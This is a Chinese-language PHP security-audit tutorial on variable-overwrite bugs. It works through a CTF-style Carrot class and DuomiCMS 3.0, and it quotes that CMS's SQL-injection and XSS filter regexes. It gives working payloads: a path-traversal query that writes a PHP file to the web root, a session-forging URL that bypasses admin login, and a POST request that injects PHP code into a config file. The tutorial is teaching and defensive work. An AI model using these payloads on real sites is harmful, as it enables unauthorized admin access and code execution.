目录

一、题目

1、源码

```php
class Carrot {
    const EXTERNAL_DIRECTORY = '/tmp/';
    private $id;
    private $lost = 0;
    private $bought = 0;

    public function __construct($input) {
        $this->id = rand(1, 1000);

        foreach ($input as $field => $count) {
            $this->$field = $count++;
        }
    }

    public function __destruct() {
        file_put_contents(
            self::EXTERNAL_DIRECTORY . $this->id,
            var_export(get_object_vars($this), true)
        );
    }
}

$carrot = new Carrot($_GET);
```

2、知识点

知识点	说明
var_export()	输出或返回一个变量，以字符串形式表示

知识点	说明
get_object_vars()	获取对象中的属性，并组成一个数组

3、解读

1）第23行，实例化Carrot对象，通过GET方法接收值作为对象实参。

2）第7行，对象实例化后，会调用构造函数__construct()，调用函数foreach()对GET数据中的键值分别赋值给变量$field和$count。

3）第15行，对象销毁前，会调用析构函数__destruct()，将当前对象进行输出并写入到/tmp/下名字为随机数字的文件中。

4、分析

1）第10行的函数foreach()会将GET传入的键值注册成变量，这里也就是说可以造成变量覆盖，并被服务端调用。

2）第17行的文件写入的文件位置，是有$id构成的，那么这里我们重写的目标就可以定为$id，实现路径穿越写入木马，Getshell。

5、利用

```
?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//
```

二、CMS

1、源码-DuomiCMS_3.0

duomiphp/common.php

```php
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
```

```php
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
```

admin\admin_ping.php

```php
header('Content-Type:text/html;charset=utf-8');
require_once(dirname(__FILE__)."/config.php");
CheckPurview();
if($action=="set")
{
    $weburl= $_POST['weburl'];
    $token = $_POST['token'];
    $open=fopen("../data/admin/ping.php","w" );
    $str='<?php ';
    $str.='$weburl = "';
    $str.="$weburl";
    $str.='"; ';
    $str.='$token = "';
    $str.="$token";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
}
```

duomiphp\webscan.php

```
// duomiphp\webscan.php
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\
(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\
([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?
=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|
<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"']))|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?
SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?
(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\
(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?
when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\
(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"']))|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\
(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\
(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?
[\"']))|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|
(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
```

admin\config.php

```php
require_once(duomi_INC."/check.admin.php");
........
//检验用户登录状态
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
    header("location:login.php?gotopage=".urlencode($EkNowurl));
    exit();
}
```

duomiphp\check.admin.php

```php
class userLogin
{
    var $userName = '';
    var $userPwd = '';
    var $userID = '';
    var $adminDir = '';
    var $groupid = '';
    var $keepUserIDTag = "duomi_admin_id";
    var $keepgroupidTag = "duomi_group_id";
    var $keepUserNameTag = "duomi_admin_name";
    //php5构造函数
    function __construct($admindir='')
    {
        global $admin_path;
        if(isset($_SESSION[$this->keepUserIDTag]))
        {
            $this->userID = $_SESSION[$this->keepUserIDTag];
            $this->groupid = $_SESSION[$this->keepgroupidTag];
            $this->userName = $_SESSION[$this->keepUserNameTag];
        }
        ......
    }
    ......
}
```

admin\login.php

```php
require_once(duomi_INC."/check.admin.php");
if($dopost=='login')
{
    $validate = empty($validate) ? '' : strtolower(trim($validate));
    $svali = strtolower(GetCkVdValue());
    if($validate=='' || $validate != $svali)
    {
        ResetVdValue();
        ShowMsg('验证码不正确!','-1');
        exit();
    }
    else
    {
        $cuserLogin = new userLogin($admindir);
        if(!empty($userid) && !empty($pwd))
        {
            $res = $cuserLogin->checkUser($userid,$pwd);
            //success
            if($res==1)
            {
                $cuserLogin->keepUser();
                if(!empty($gotopage))
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',$gotopage);
                    exit();
                }
                else
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',"index.php");
                    exit();
                }
            }
            ........
        }
        ........
    }
}
```

duomiphp\check.admin.php

```php
function checkUser($username,$userpwd)
{
    global $dsql;

    //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
    $this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
    $this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
    $pwd = substr(md5($this->userPwd),5,20);
    $dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
    $dsql->Execute();
    $row = $dsql->GetObject();
    if(!isset($row->password))
    {
        return -1;
    }
    else if($pwd!=$row->password)
    {
        return -2;
    }
    else
    {
        $loginip = GetIP();
        $this->userID = $row->id;
        $this->groupid = $row->groupid;
        $this->userName = $row->name;
        $inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
        $dsql->ExecuteNoneQuery($inquery);
        return 1;
    }
}
```

2、知识点

```
Null
```

3、解读

1）图1，这里就是变量注册的位置，其中调用了函数__RunMagicQuotes()对GET、POST、REQUEST方法传入的数据进行处理。

2）图2，跟进函数_RunMagicQuotes()，可以看到使用了函数addslashes()对值进行了过滤，那么也是可以绕过的，这里找一下可以写入文件的位置。

3）图3，通过搜索函数fwrite()到admin_ping.php，其中通过POST方法接收了'weburl'、'token'，并拼接字符串写入到php文件中。

4）图4，既然是通过POST接收的数据，那也就会经过图1中_RunMagicQuotes的处理，并且在图4中可以看到具体的过滤规则，也就是存在变量覆盖了。

5）图5，由于admin_ping.php为后台文件，那么需要考虑前台如何搞定。该图中，包含了admin\config.php。

6）图6，跟进到用户登录函数userLogin()，这里通过SESSION方法记录了UserID、groupId、UserName，并进行验证。

7）图7，跟进到函数userLogin()调用的地方login.php文件，可以看到这里调用了函数checkUser()对用户名密码进行判断，返回1即代表管理员用户。

8）图8，跟进到函数checkUser()中，这里定义了SQL语句进行查询。

4、分析

1）找到一个开启session认证（全局搜索session_start()）的文件。

2）访问文件并传入session变量的duomi_group_和duomi_admin_的值都为1，此时就成功利用变量覆盖，绕过了身份验证，成为管理员。

3）此时POST请求admin_ping.php，并写入weburl的值为payload，成功命令执行。

5、利用

1）访问开启session_start()的文件，进行身份伪造。

```
http://localhost/member/share.php?
_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
```

2）POST请求amdin/admin_ping.php

```
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

weburl=";phpinfo();//&token=
```

6、修复方案

检测变量名是否为PHP原有的变量。

7、参考链接

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day14/files/README.md